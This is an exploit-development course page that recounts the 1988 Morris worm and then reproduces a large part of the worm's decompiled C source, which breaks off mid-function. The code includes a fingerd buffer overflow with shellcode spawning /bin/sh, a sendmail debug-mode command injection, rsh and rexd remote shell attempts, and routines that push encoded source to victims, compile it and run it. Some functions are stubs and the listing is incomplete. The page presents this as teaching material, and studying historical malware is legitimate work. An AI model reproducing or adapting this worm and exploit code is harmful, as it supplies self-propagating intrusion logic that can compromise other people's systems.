Exploit Development I

Your first baby steps

This training will cover the following topics from a technical and practical perspective, and starting from running and exploiting your first targets to gaining persistence and owning a whole network. This course builds deep background knowledge and expert-level skills and the ideal attendants will be penetration testers, security enthusiasts and network administrators.

  • Concepts and basics

  • Attacker Decision Making

  • Getting started with Exploit Pack and Setup

  • Internals of Exploit Pack

  • Enumeration of Targets

  • Exploiting the LAN

  • Exploiting Windows Hosts

  • Exploiting Linux Hosts

  • Exploiting Web Servers

  • Basic Exploit Writing

  • Advanced techniques and real-world examples

  • Post Exploitation

About the instructor:

Juan Sacco is the author and main dev of Exploit Pack, he currently works as an Exploit Writer and Reverse Engineer, along the path he has worked at companies like ING Bank, Core Security, NOD32, Homeland Security (ARG) and other financial and security-related organizations.

Concepts and basics

A “bit” of history about Exploits. Let’s start by saying that memory errors exploitations have been around since the 1980s and they still rank among other software errors as the most dangerous. From an integrity or availability perspective, the impact of a memory error exploit will for sure have a disruptive impact on any organization. ‌

During this training we will see the history, the do, don’t and hows of memory errors, exploitation techniques, attacks, defenses and countermeasures. And all this will be covered not from a SysAdmin or Developer point of view but we will learn the practical way of a Black Hat hacker.

Introduction

Memory errors, overflows and exceptions are one of the oldest software vulnerabilities. These kinds of vulnerabilities exist by design, and an attacker could take advantage of an overflow in order to take down or remotely control a machine.

But let’s go back in time, and for this, we need to talk a bit about history, and the origins of these flaws. Join me on a time-machine ride, let’s set our Flux condenser to take us back...

...Precisely to November 2nd, 1988.

“If my calculations are correct, when this baby hits 88 miles per hour, you're gonna see some serious events.” - Dr. Emmet brown ( A time traveller )

Ok, so here we are in 1988. Robert T. Morris abruptly brought down the Internet. Could you just imagine, having the power of taking down the whole Internet? Yes. Just wow, right?

‌Ok, wait. We know when. 1988, November 2nd. But Why.. and the most important question for us is how?!

Robert Morris Jr. at this time is a graduate student in Computer Science at Cornell University, he just wrote a self-replicating, self-propagating program that created the name of “Cyber Worm”. He just deployed this program from MIT himself, and to avoid tracebacks he executed this piece of software from non-traceable government computers.

But soon enough (or not so soon) he realized that his worm was being replicated too fast, but of course, have in mind the internet speed of that time. The worm made his way by exploiting more than just one vulnerability.

Basically, the worm exploited: Sendmail, FingerD and rsh/rexec.

These exploits were successful and the worm gained remote access and allowed arbitrary code execution, but there was an unintended feature on this worm.

The worm could not check whenever a machine was infected or not, and because of this the same machine could potentially get infected multiple times, and every time it was creating an additional process on that target, that in fact, it will slowly take the machine down by memory consumption.

Eventually, at a certain point, the computer will turn out to be non-responsive and it will be in a Denial Of Service state, making the system connected to it unusable.

The targets and host machines were: BSD Systems and Sun-3 Systems.

The following code is a part of the Morris worm that shows the attacks and the previously mentioned exploits, take a deep look into it, and try to understand the exploits and how they were crafted.

Note: While you are into that, try to think how you would create a feature that could detect whenever a machine was infected or not.

/* dover */

#include "worm.h"
#include <stdio.h>
#include <strings.h>
#include <signal.h>
#include <errno.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <sys/file.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <netinet/in.h>

extern struct hst *h_addr2host(), *h_name2host();
extern int justreturn();
extern int errno;
extern char *malloc();

int alarmed = 0;
int ngateways, *gateways;
struct hst *me, *hosts;

int nifs;
struct ifses ifs[30];				/* Arbitrary number, fix */

/* Clean hosts not contacted from the host list. */
h_clean()					/* 0x31f0 */
{
struct hst *newhosts, *host, *next;
newhosts = NULL;
for (host = hosts; host != NULL; host = next) {
	next = host->next;
	host->flag &= -7;
	if (host == me || host->flag != 0) {
	 host->next = newhosts;
	 newhosts = host;
	} else
	 free(host);
}
hosts = newhosts;
}

/* Look for a gateway we can contact. */
hg()				/* 0x3270, check again */
{
struct hst *host;
int i;
rt_init();
for (i = 0; i < ngateways; i++) {		/* 24, 92 */
	host = h_addr2host(gateways[i], 1);
	if (try_rsh_and_mail(host))
	 return 1;
}
return 0;
}

ha()						/* 0x32d4, unchecked */
{
struct hst *host;
int i, j, k;
int l416[100];
int l420;
if (ngateways < 1)
	rt_init();
j = 0;
for (i = 0; i < ngateways; i++) {		/* 40, 172 */
	host = h_addr2host(gateways[i], 1);
	for (k = 0; k < 6; k++) {		/* 86, 164 */
	 if (host->o48[k] == 0)
		continue;			/* 158 */
	 if (try_telnet_p(host->o48[k]) == 0)
		continue;
	 l416[j] = host->o48[k];
	 j++;
	}
}
permute(l416, j, sizeof(l416[0]));
for (i = 0; i < j; i++) {			/* 198, 260 */
	if (hi_84(l416[i] & netmaskfor(l416[i])))
	 return 1;
}
return 0;
}

hl()						/* 0x33e6 */
{
int i;
for (i = 0; i < 6; i++) {			/* 18, 106 */
	if (me->o48[i] == 0)
	 break;
	if (hi_84(me->o48[i] & netmaskfor(me->o48[i])) != 0)
	 return 1;
}
return 0;
}

hi()						/* 0x3458 */
{
struct hst *host;
for (host = hosts; host; host = host->next )
	if ((host->flag & 0x08 != 0) && (try_rsh_and_mail(host) != 0))
	 return 1;
return 0;
}

hi_84(arg1)					/* 0x34ac */
{
int l4;
struct hst *host;
int l12, l16, l20, i, l28, adr_index, l36, l40, l44;
int netaddrs[2048];
l12 = netmaskfor(arg1);
l16 = ~l12;
for (i = 0; i < nifs; i++) {		/* 128,206 */
	if (arg1 == (ifs[i].if_l24 & ifs[i].if_l16))
	 return 0;				/* 624 */
}
adr_index = 0;
if (l16 == 0x0000ffff) {			/* 330 */
	l44 = 4;
	for (l40 = 1; l40 < 255; l40++)		/* 236,306 */
	 for (l20 = 1; l20 <= 8; l20++)	/* 254,300 */
		netaddrs[adr_index++] = arg1 | (l20 << 16) | l40;
	permute(netaddrs, adr_index, sizeof(netaddrs[0]));
} else {					/* 432 */
	l44 = 4;
	for (l20 = 1; l20 < 255; l20++)
	 netaddrs[adr_index++] = (arg1 | l20);
	permute(netaddrs, 3*sizeof(netaddrs[0]), sizeof(netaddrs[0]));
	permute(netaddrs, adr_index - 6, 4);
}
if (adr_index > 20)
	adr_index = 20;
for (l36 = 0; l36 < adr_index; l36++) {	/* 454,620 */
	l4 = netaddrs[l36];
	host = h_addr2host(l4, 0);
	if (host == NULL || (host->flag & 0x02) == 0)
	 continue;
	if (host == NULL || (host->flag & 0x04) == 0 ||
	 command_port_p(l4, l44) == 0)
	 continue;
	if (host == NULL)
	 host = h_addr2host(l4, 1);
	if (try_rsh_and_mail(host))
	 return 1;
}
return 0;
}

/* Only called in the function above */
static command_port_p(addr, time)		/* x36d2, <hi+634> */
u_long addr;
int time;
{
int s, connection;					/* 28 */
struct sockaddr_in sin;			/* 16 bytes */
int (*save_sighand)();
s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0)
	return 0;
bzero(&sin, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = addr;
sin.sin_port = IPPORT_CMDSERVER;		/* Oh no, not the command serve
r... */
save_sighand = signal(SIGALRM, justreturn);		/* Wakeup if it
fails */
/* Set up a timeout to break from connect if it fails */
if (time < 1)
	time = 1;
alarm(time);
connection = connect(s, &sin, sizeof(sin));
alarm(0);
close(s);
if (connection < 0 && errno == ENETUNREACH)
	error("Network unreachable");
return connection != -1;
}

static try_telnet_p(addr)			/* x37b2 <hi+858>, checked */
u_long addr;
{
int s, connection;					/* 28 */
struct sockaddr_in sin;			/* 16 bytes */
int (*save_sighand)();
s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0)
	return 0;
bzero(&sin, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = addr;
sin.sin_port = IPPORT_TELNET;		/* This time try telnet... */
/* Set up a 5 second timeout, break from connect if it fails */
save_sighand = signal(SIGALRM, justreturn);
alarm(5);
connection = connect(s, &sin, sizeof(sin));
if (connection < 0 && errno == ECONNREFUSED) /* Telnet connection refuse
d */
	connection = 0;
alarm(0);					/* Turn off timeout */
close(s);
return connection != -1;
}

/* Used in hg(), hi(), and hi_84(). */
static try_rsh_and_mail(host)				/* x3884, <hi+1068> */
struct hst *host;
{
int fd1, fd2, result;
if (host == me)
	return 0;				/* 1476 */
if (host->flag & 0x02)
	return 0;
if (host->flag & 0x04)
	return 0;
if (host->o48[0] == 0 || host->hostname == NULL)
	getaddrs(host);
if (host->o48[0] == 0) {
	host->flag |= 0x04;
	return 0;
}
other_sleep(1);
if (host->hostname &&		/* 1352 */
	fork_rsh(host->hostname, &fd1, &fd2,
	 XS("exec /bin/sh"))) {		/* <env+188> */
	result = talk_to_sh(host, fd1, fd2);
	close(fd1);
	close(fd2);
	/* Prevent child from hanging around in the <exiting> state */
	wait3((union wait *)NULL, WNOHANG, (struct rusage *)NULL);
	if (result != 0)
	 return result;
}
if (try_finger(host, &fd1, &fd2)) {		/* 1440 */
	result = talk_to_sh(host, fd1, fd2);
	close(fd1);
	close(fd2);
	if (result != 0)
	 return result;
}
if (try_mail(host))
	return 1;
host->flag |= 4;
return 0;
}


/* Check a2in() as it is updated */
/* Used in twice in try_rsh_and_mail(), once in hu1(). */
static talk_to_sh(host, fdrd, fdwr)		/* x3a20, Checked, changed <hi+
>*/
struct hst *host;
int fdrd, fdwr;
{
object *objectptr;
char send_buf[512];				/* l516 */
char print_buf[52];				/* l568 */
int l572, l576, l580, l584, l588, l592;
objectptr = getobjectbyname(XS("l1.c"));	/* env 200c9 */
if (objectptr == NULL)
	return 0;				/* <hi+2128> */
if (makemagic(host, &l592, &l580, &l584, &l588) == 0)
	return 0;
send_text(fdwr, XS("PATH=/bin:/usr/bin:/usr/ucb\n"));
send_text(fdwr, XS("cd /usr/tmp\n"));
l576 = random() % 0x00FFFFFF;
sprintf(print_buf, XS("x%d.c"), l576);
/* The 'sed' script just puts the EOF on the transmitted program. */
sprintf(send_buf, XS("echo gorch49;sed \'/int zz;/q\' > %s;echo gorch50\n"
),
	 print_buf);
send_text(fdwr, send_buf);
wait_for(fdrd, XS("gorch49"), 10);
xorbuf(objectptr->buf, objectptr->size);
l572 = write(fdwr, objectptr->buf, objectptr->size);
xorbuf(objectptr->buf, objectptr->size);
if (l572 != objectptr->size) {
	close(l588);
	return 0;				/* to <hi+2128> */
}
send_text(fdwr, XS("int zz;\n\n"));
wait_for(fdrd, XS("gorch50"), 30);
#define COMPILE "cc -o x%d x%d.c;./x%d %s %d %d;rm -f x%d x%d.c;echo DONE\n"
sprintf(send_buf, XS(COMPILE), l576, l576, l576,
	 inet_ntoa(a2in(l592)), l580, l584, l576, l576);
send_text(fdwr, send_buf);
if (wait_for(fdrd, XS("DONE"), 100) == 0) {
	close(l588);
	return 0;				/* <hi+2128> */
}
return waithit(host, l592, l580, l584, l588);
}

makemagic(arg8, arg12, arg16, arg20, arg24)	/* checked */
struct hst *arg8;
int *arg12, *arg16, *arg20, *arg24;
{
int s, i, namelen;
struct sockaddr_in sin0, sin1;		/* 16 bytes */
*arg20 = random() & 0x00ffffff;
bzero(&sin1, sizeof(sin1));
sin1.sin_addr.s_addr = me->l12;
for (i= 0; i < 6; i++) {			/* 64, 274 */
	if (arg8->o48[i] == NULL)
	 continue;				/* 266 */
	s = socket(AF_INET, SOCK_STREAM, 0);
	if (s < 0)
	 return 0;				/* 470 */
	bzero(&sin0, sizeof(sin0));
	sin0.sin_family = AF_INET;
	sin0.sin_port = IPPORT_TELNET;
	sin0.sin_addr.s_addr = arg8->o48[i];
	errno = 0;
	if (connect(s, &sin0, sizeof(sin0)) != -1) {
	 namelen = sizeof(sin1);
	 getsockname(s, &sin1, &namelen);
	 close(s);
	 break;
	}
	close(s);
}
*arg12 = sin1.sin_addr.s_addr;
for (i = 0; i < 1024; i++) {		/* 286,466 */
	s = socket(AF_INET, SOCK_STREAM, 0);
	if (s < 0)
	 return 0;				/* 470 */
	bzero(&sin0, sizeof(sin0));
	sin0.sin_family = AF_INET;
	sin0.sin_port = random() % 0xffff;
	if (bind(s, &sin0, sizeof(sin0)) != -1) {
	 listen(s, 10);
	 *arg16 = sin0.sin_port;
	 *arg24 = s;
	 return 1;
	}
	close(s);
}
return 0;
}

/* Check for somebody connecting. If there is a connection and he has the rig
ht
* key, send out the
* a complete set of encoded objects to it. */

waithit(host, arg1, arg2, key, arg4)		/* 0x3e86 */
struct hst *host;
{
int (*save_sighand)();
int l8, sin_size, l16, i, l24, l28;
struct sockaddr_in sin;			/* 44 */
object *obj;
char files[20][128];			/* File list, 2608 */
char *l2612;
char strbuf[512];
save_sighand = signal(SIGPIPE, justreturn);
sin_size = sizeof(sin);
alarm(2*60);
l8 = accept(arg4, &sin, &sin_size);
alarm(0);
if (l8 < 0)
	goto quit;				/* 1144 */
if (xread(l8, &l16, sizeof(l16), 10) != 4)
	goto quit;
l16 = ntohl(l16);
if (key != l16)
	goto quit;
for (i = 0; i < nobjects; i++) {	/* 164,432 */
	obj = &objects[i];
	l16 = htonl(obj->size);
	write(l8, &l16, sizeof(l16));
	sprintf(files[i], XS("x%d,%s"),
		(random()&0x00ffffff), obj->name);
	write(l8, files[i], sizeof(files[0]));
	xorbuf(obj->buf, obj->size);
	l24 = write(l8, obj->buf, obj->size);
	xorbuf(obj->buf, obj->size);
	if (l24 != obj->size)
	 goto quit;
}
/* Get rid of my client's key, and tell him the list has ended. */
l16 = -1;
if (write(l8, &l16, sizeof(l16)) != 4)
	goto quit;
/* Don't run up the load average too much... */
sleep(4);
if (test_connection(l8, l8, 30) == 0)
	goto quit;
send_text(l8, XS("PATH=/bin:/usr/bin:/usr/ucb\n"));
send_text(l8, XS("rm -f sh\n"));
sprintf(strbuf, XS("if [ -f sh ]\nthen\nP=x%d\nelse\nP=sh\nfi\n"),
	 random()&0x00ffffff);
send_text(l8, strbuf);
for (i = 0; i < nobjects; i++) {	/* 636,1040 */
	if ((l2612 = index(files[i], '.')) == NULL ||
	 l2612[1] != 'o')
	 continue;
	sprintf(strbuf, XS("cc -o $P %s\n"), files[i]);
	send_text(l8, strbuf);
	if (test_connection(l8, l8, 30) == 0)
	 goto quit;				/* 1144 */
	sprintf(strbuf, XS("./$P -p $$ "));
	for(l28 = 0; l28 < nobjects; l28++) {	/* 820,892 */
	 strcat(strbuf, files[l28]);
	 strcat(strbuf, XS(" "));
	}
	strcat(strbuf, XS("\n"));
	send_text(l8, strbuf);
	if (test_connection(l8, l8, 10) == 0) {
	 close(l8);
	 close(arg4);
	 host->flag |= 2;
	 return 1;				/* 1172 */
	}
	send_text(l8, XS("rm -f $P\n"));
}
for (i = 0; i < nobjects; i++) {	/* 1044,1122 */
	sprintf(strbuf, XS("rm -f %s $P\n"), files[i]);
	send_text(l8, strbuf);
}
test_connection(l8, l8, 5);
quit:
close(l8);
close(l24);
return 0;
}

/* Only called from within mail */
static compile_slave(host, s, arg16, arg20, arg24) /* x431e, <waithit+1176> */
struct hst host;
{
object *obj;
char buf[512];				/* 516 */
char cfile[56];				/* 568 */
int wr_len, key;				/* might be same */
obj = getobjectbyname(XS("l1.c"));
if (obj == NULL)
	return 0;				/* 1590 */
send_text(s, XS("cd /usr/tmp\n"));
key = (random() % 0x00ffffff);
sprintf(cfile, XS("x%d.c"), key);
sprintf(buf, XS("cat > %s <<\'EOF\'\n"), cfile);
send_text(s, buf);
xorbuf(obj->buf, obj->size);
wr_len = write(s, obj->buf, obj->size);
xorbuf(obj->buf, obj->size);
if (wr_len != obj->size)
	return 0;
send_text(s, XS("EOF\n"));
sprintf(buf, XS("cc -o x%d x%d.c;x%d %s %d %d;rm -f x%d x%d.c\n"),
	 key, key, key,
	 inet_ntoa(a2in(arg16, arg20, arg24, key, key)->baz));
return send_text(s, buf);
}

static send_text(fd, str)			/* 0x44c0, <waithit+1594> */
char *str;
{
write(fd, str, strlen(str));
}

/* Used in try_rsh_and_mail(). */
static fork_rsh(host, fdp1, fdp2, str)		/* 0x44f4, <waithit+1646> */
char *host;
int *fdp1, *fdp2;
char *str;
{
int child;					/* 4 */
int fildes[2];				/* 12 */
int fildes1[2];				/* 20 */
int fd;
if (pipe(fildes) < 0)
	return 0;
if (pipe(fildes1) < 0) {
	close(fildes[0]);
	close(fildes[1]);
	return 0;
}
child = fork();
if (child < 0) {				/* 1798 */
	close(fildes[0]);
	close(fildes[1]);
	close(fildes1[0]);
	close(fildes1[1]);
	return 0;
}
if (child == 0) {				/* 2118 */
	for (fd = 0; fd < 32; fd++)
	 if (fd != fildes[0] &&
		fd != fildes1[1] &&
		fd != 2)
		close(fd);
	dup2(fildes[0], 0);
	dup2(fildes[1], 1);
	if (fildes[0] > 2)
	 close(fildes[0]);
	if (fildes1[1] > 2)
	 close(fildes1[1]);
	/* 'execl()' does not return if it suceeds. */
	execl(XS("/usr/ucb/rsh"), XS("rsh"), host, str, 0);
	execl(XS("/usr/bin/rsh"), XS("rsh"), host, str, 0);
	execl(XS("/bin/rsh"), XS("rsh"), host, str, 0);
	exit(1);
}
close(fildes[0]);
close(fildes1[1]);
*fdp1 = fildes1[0];
*fdp2 = fildes[1];
if (test_connection(*fdp1, *fdp2, 30))
	return 1;				/* Sucess!!! */
close(*fdp1);
close(*fdp2);
kill(child, 9);
/* Give the child a chance to die from the signal. */
sleep(1);
wait3(0, WNOHANG, 0);
return 0;
}

static test_connection(rdfd, wrfd, time)			/* x476c,<waith
it+2278> */
int rdfd, wrfd, time;
{
char combuf[100], numbuf[100];
sprintf(numbuf, XS("%d"), random() & 0x00ffffff);
sprintf(combuf, XS("\n/bin/echo %s\n"), numbuf);
send_text(wrfd, combuf);
return wait_for(rdfd, numbuf, time);
}

static wait_for(fd, str, time)			/* <waithit+2412> */
int fd, time;
char *str;
{
char buf[512];
int i, length;
length = strlen(str);
while (x488e(fd, buf, sizeof(buf), time) == 0) { /* 2532 */
	for(i = 0; buf[i]; i++) {
	 if (strncmp(str, &buf[i], length) == 0)
		return 1;
	}
}
return 0;
}

/* Installed as a signal handler */
justreturn(sig, code, scp)					/* 0x4872 */
int sig, code;
struct sigcontext *scp;
{
alarmed = 1;
}

static x488e(fd, buf, num_chars, maxtime)
int fd, num_chars, maxtime;
char *buf;
{	
int i, l8, readfds;
struct timeval timeout;
for (i = 0; i < num_chars; i++) {		/* 46,192 */
	readfds = 1 << fd;
	timeout.tv_usec = maxtime;
	timeout.tv_sec = 0;
	if (select(fd + 1, &readfds, 0, 0, &timeout) <= 0)
	 return 0;
	if (readfds == 0)
	 return 0;
	if (read(fd, &buf[i], 1) != 1)
	 return 0;
	if (buf[i] == '\n')
	 break;
}
buf[i] = '\0';
if (i > 0 && l8 > 0)
	return 1;
return 0;
}

/* This doesn't appear to be used anywhere??? */
static char *movstr(arg0, arg1)			/* 0x4958,<just_return+
230> */
char *arg0, *arg1;
{
arg1[0] = '\0';
if (arg0 == 0)
	return 0;
while( ! isspace(*arg0))
	arg0++;

if (*arg0 == '\0')
return 0;
while(*arg0) {
	if (isspace(*arg0)) break;
	*arg1++ = *arg0++;
}
*arg1 = '\0';
return arg0;
}

/*
From Gene Spafford <spaf@perdue.edu>
What this routine does is actually kind of clever. Keep in
mind that on a Vax the stack grows downwards.

fingerd gets its input via a call to gets, with an argument
of an automatic variable on the stack. Since gets doesn't
have a bound on its input, it is possible to overflow the
buffer without an error message. Normally, when that happens
you trash the return stack frame. However, if you know
where everything is on the stack (as is the case with a
distributed binary like BSD), you can put selected values
back in the return stack frame.

This is what that routine does. It overwrites the return frame
to point into the buffer that just got trashed. The new code
does a chmk (change-mode-to-kernel) with the service call for
execl and an argument of "/bin/sh". Thus, fingerd gets a
service request, forks a child process, tries to get a user name
and has its buffer trashed, does a return, exec's a shell,
and then proceeds to take input off the socket -- from the
worm on the other machine. Since many sites never bother to
fix fingerd to run as something other than root.....

Luckily, the code doesn't work on Suns -- it just causes it
to dump core.

--spaf

*/

/* This routine exploits a fixed 512 byte input buffer in a VAX running
* the BSD 4.3 fingerd binary. It send 536 bytes (plus a newline) to
* overwrite six extra words in the stack frame, including the return
* PC, to point into the middle of the string sent over. The instructions
* in the string do the direct system call version of execve("/bin/sh"). */

static try_finger(host, fd1, fd2)		/* 0x49ec,<just_return+378 */
struct hst *host;
int *fd1, *fd2;
{
int i, j, l12, l16, s;
struct sockaddr_in sin;			/* 36 */
char unused[492];
int l552, l556, l560, l564, l568;
char buf[536];				/* 1084 */
int (*save_sighand)();			/* 1088 */

save_sighand = signal(SIGALRM, justreturn);

for (i = 0; i < 6; i++) {			/* 416,608 */
	if (host->o48[i] == 0)
	 continue;				/* 600 */
	s = socket(AF_INET, SOCK_STREAM, 0);
	if (s < 0)
	 continue;
	bzero(&sin, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = host->o48[i];
	sin.sin_port = IPPORT_FINGER;

	alarm(10);
	if (connect(s, &sin, sizeof(sin)) < 0) {
	 alarm(0);
	 close(s);
	 continue;
	}
	alarm(0);
	break;
}
if (i >= 6)
	return 0;				/* 978 */
for(i = 0; i < 536; i++)			/* 628,654 */
	buf[i] = '\0';
for(i = 0; i < 400; i++)
	buf[i] = 1;
for(j = 0; j < 28; j++)
	buf[i+j] = "\335\217/sh\0\335\217/bin\320^Z\335\0\335\0\335Z\335\003\320^\\\274;\344\371\344\342\241\256\343\350\357\256\362\351"[j];		
	/* constant string x200a0 */

/* 0xdd8f2f73,0x6800dd8f,0x2f62696e,0xd05e5add,0x00dd00dd,0x5add03d0,0x5e5cbc3b */
/* "\335\217/sh\0\335\217/bin\320^Z\335\0\335\0\335Z\335\003\320^\\\274;\344\371\344\342\241\256\343\350\357\256\362\351"... */

l556 = 0x7fffe9fc;				/* Rewrite part of the stack frame */
l560 = 0x7fffe8a8;
l564 = 0x7fffe8bc;
l568 = 0x28000000;
l552 = 0x0001c020;

#ifdef sun
l556 = byte_swap(l556);			/* Reverse the word order for the */
l560 = byte_swap(l560);			/* VAX (only Suns have to do this) */
l564 = byte_swap(l564);
l568 = byte_swap(l568);
l552 = byte_swap(l552);
#endif sun

write(s, buf, sizeof(buf));			/* sizeof == 536 */
write(s, XS("\n"), 1);
sleep(5);
if (test_connection(s, s, 10)) {
	*fd1 = s;
	*fd2 = s;
	return 1;
}
close(s);
return 0;
}

static byte_swap(arg)			/* 0x4c48,<just_return+982 */
int arg;
{
int i, j;

i = 0;
j = 0;
while (j < 4) {
	i = i << 8;
	i |= (arg & 0xff);
	arg = arg >> 8;
	j++;
}
return i;
}

permute(ptr, num, size)			/* 0x4c9a */
char *ptr;
int num, size;
{
int i, newloc;
char buf[512];

for (i = 0; i < num*size; i+=size) {	/* 18,158 */
	newloc = size * (random() % num);
	bcopy(ptr+i, buf, size);
	bcopy(ptr+newloc, ptr+i, size);
	bcopy(buf, ptr+newloc, size);
}
}


/* Called from try_rsh_and_mail() */
static try_mail(host)				/* x4d3c <permute+162>*/
struct hst *host;
{
int i, l8, l12, l16, s;
struct sockaddr_in sin;			/* 16 bytes */
char l548[512];
int (*old_handler)();
struct sockaddr saddr;			/* Not right */
int fd_tmp;					/* ??? part of saddr *
/
if (makemagic(host, &saddr) == 0)
	return 0;				/* <permute+1054> */
old_handler = signal(SIGALRM, justreturn);
for( i = 0; i < 6; i++) {			/* to 430 */
	if (host->o48[i] == NULL)
	 continue;				/* to 422 */
	s = socket(AF_INET, SOCK_STREAM, 0);
	if (s < 0)
	 continue;				/* to 422 */
	
	bzero(&sin, sizeof(sin));		/* 16 */
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = host->o48[i];
	sin.sin_port = IPPORT_SMTP;
	
	alarm(10);
	if (connect(s, &sin, sizeof(sin)) < 0) {
	 alarm(0);
	 close(s);
	 continue;				/* to 422 */
	}
	alarm(0);
	break;
}
if (i < 6)
	return 0;				/* 1054 */
if (x50bc( s, l548) != 0 || l548[0] != '2')
	goto bad;
send_text(s, XS("debug"));		/* "debug" */
if (x50bc( s, l548) != 0 || l548[0] != '2')
	goto bad;
#define MAIL_FROM "mail from:</dev/null>\n"
#define MAIL_RCPT "rcpt to:<\"| sed \'1,/^$/d\' | /bin/sh ; exit 0\">\n"
send_text(s, XS(MAIL_FROM));
if (x50bc( s, l548) != 0 || l548[0] != '2')
	goto bad;
i = (random() & 0x00FFFFFF);
sprintf(l548, XS(MAIL_RCPT), i, i);
send_text(s, l548);
if (x50bc( s, l548) != 0 || l548[0] != '2')
	goto bad;
send_text(s, XS("data\n"));
if (x50bc( s, l548) == 0 || l548[0] != '3')
	goto bad;
send_text(s, XS("data\n"));
compile_slave(host, s, saddr);
send_text(s, XS("\n.\n"));
if (x50bc( s, l548) == 0 || l548[0] != '2') {
	close(fd_tmp);				/* This isn't set yet!!! */
	goto bad;
}
send_text(s, XS("quit\n"));
if (x50bc( s, l548) == 0 || l548[0] != '2') {
	close(fd_tmp);				/* This isn't set yet!!! */
	goto bad;
}
close(s);
return waithit(host, saddr);
bad:
send_text(s, XS("quit\n"));
x50bc(s, l548);
close(s);
return 0;
}

/* Used only in try_mail() above. This fills buffer with a line of the respon
se */
static x50bc(s, buffer)				/* x50bc, <permute+1058
> */
int s;					/* socket */
char *buffer;
{
/* Fill in exact code later. It's pretty boring. */
}


/* I call this "huristic 1". It tries to breakin using the remote execution
* service. It is called from a subroutine of cracksome_1 with information fr
om
* a user's .forword file. The two name are the original username and the one
* in the .forward file.
*/
hu1(alt_username, host, username2)		/* x5178 */
char *alt_username, *username2;
struct hst *host;
{
char username[256];
char buffer2[512];
char local[8];
int result, i, fd_for_sh;			/* 780, 784, 788 */
if (host == me)
	return 0;				/* 530 */
if (host->flag & HST_HOSTTWO)			/* Already tried ??? */
	return 0;
if (host->o48[0] || host->hostname == NULL)
	getaddrs(host);
if (host->o48[0] == 0) {
	host->flag |= HST_HOSTFOUR;
	return 0;
}
strncpy(username, username2, sizeof(username)-1);
username[sizeof(username)-1] = '\0';
if (username[0] == '\0')
	strcpy(username, alt_username);
for (i = 0; username[i]; i++)
	if (ispunct(username[i]) || username[i] < ' ')
	 return 0;
other_sleep(1);
fd_for_sh = x538e(host, username, &alt_username[30]);
if (fd_for_sh >= 0) {
	result = talk_to_sh(host, fd_for_sh, fd_for_sh);
	close(fd_for_sh);
	return result;
}
if (fd_for_sh == -2)
	return 0;
fd_for_sh = x538e(me, alt_username, &alt_username[30]);
if (fd_for_sh >= 0) {
	sprintf(buffer2, XS("exec /usr/ucb/rsh %s -l %s \'exec /bin/sh\'\n"),
		host->hostname, username);
	send_text(fd_for_sh, buffer2);
	sleep(10);
	result = 0;
	if (test_connection(fd_for_sh, fd_for_sh, 25))	/* 508 */
	 result = talk_to_sh(host, fd_for_sh, fd_for_sh);
	close(fd_for_sh);
	return result;
}
return 0;
}

/* Used in hu1. Returns a file descriptor. */
/* It goes through the six connections in host trying to connect to the
* remote execution server on each one.
*/
static int x538e(host, name1, name2)
struct hst *host;
char *name1, *name2;
{
int s, i;
struct sockaddr_in sin;			/* 16 bytes */
int l6, l7;
char in_buf[512];
for (i = 0; i < 6; i++) {			/* 552,762 */
	if (host->o48[i] == 0)
	 continue;				/* 754 */
	s = socket(AF_INET, SOCK_STREAM, 0);
	if (s < 0)
	 continue;
	
	bzero(&sin, sizeof(sin));		/* 16 */
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = host->o48[i];
	sin.sin_port = IPPORT_EXECSERVER;	/* Oh shit, looking for rexd */
	
	alarm(8);
	signal(SIGALRM, justreturn);
	if (connect(s, &sin, sizeof(sin)) < 0) {
	 alarm(0);
	 close(s);
	 continue;
	}
	alarm(0);
	break;
}
if (i >= 6)
	return -2;				/* 1048 */
/* Check out the connection by writing a null */
if (write(s, XS(""), 1) == 1) {
	/* Tell the remote execution deamon the hostname, username, and to star
tup
	 "/bin/sh". */
	write(s, name1, strlen(name1) + 1);
	write(s, name2, strlen(name2) + 1);
	if ((write(s, XS("/bin/sh"), strlen(XS("/bin/sh"))+1) >= 0) &&
	 xread(s, in_buf, 1, 20) == 1 &&
	 in_buf[0] == '\0' &&
	 test_connection(s, s, 40) != 0)
	 return s;
}
close(s);
return -1;
}

/* Reads in a file and puts it in the 'objects' array. Returns 1 if sucessful
,
* 0 if not. */
loadobject(obj_name)				/* x5594 */
char *obj_name;
{
int fd;
unsigned long size;
struct stat statbuf;
char *object_buf, *suffix;
char local[4];
fd = open(obj_name, O_RDONLY);
if (fd < 0)
	return 0;				/* 378 */
if (fstat(fd, &statbuf) < 0) {
	close(fd);
	return 0;
}
size = statbuf.st_size;
object_buf = malloc(size);
if (object_buf == 0) {
	close(fd);
	return 0;
}
if (read(fd, object_buf, size) != size) {
	free(object_buf);
	close(fd);
	return 0;
}
close(fd);
xorbuf(object_buf, size);
suffix = index(obj_name, ',');
if (suffix != NULL)
	suffix+=1;
else
	suffix = obj_name;
objects[nobjects].name = strcpy(malloc(strlen(suffix)+1), suffix);
objects[nobjects].size = size;
objects[nobjects].buf = object_buf;
nobjects += 1;
return 1;
}

/* Returns the object from the 'objects' array that has name, otherwise NULL.
*/
object *getobjectbyname(name)
char *name;
{
int i;
for (i = 0; i < nobjects; i++)
	if (strcmp(name, objects[i].name) == 0)
	 return &objects[i];
return NULL;
}

/* Encodes and decodes the binary coming over the socket. */
xorbuf(buf, size)				/* 0x577e */
char *buf;
unsigned long size;
{
char *addr_self;			/* The address of the xorbuf fuction */
int i;
addr_self = (char *)xorbuf;
i = 0;
while (size-- > 0) {
	*buf++ ^= addr_self[i];
	i = (i+1) % 10;
}
return;
}


static other_fd = -1;

/* Make a connection to the local machine and see if I'm running in
another process by sending a magic number on a random port and waiting
five minutes for a reply. */
checkother()					/* 0x57d0 */
{
int s, l8, l12, l16, optval;
struct sockaddr_in sin;			/* 16 bytes */
optval = 1;
if ((random() % 7) == 3)
	return;					/* 612 */
s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0)
	return;
/* Make a socket to the localhost, using a link-time specific port */
bzero(&sin, sizeof(sin));		/* 16 */
sin.sin_family = AF_INET;
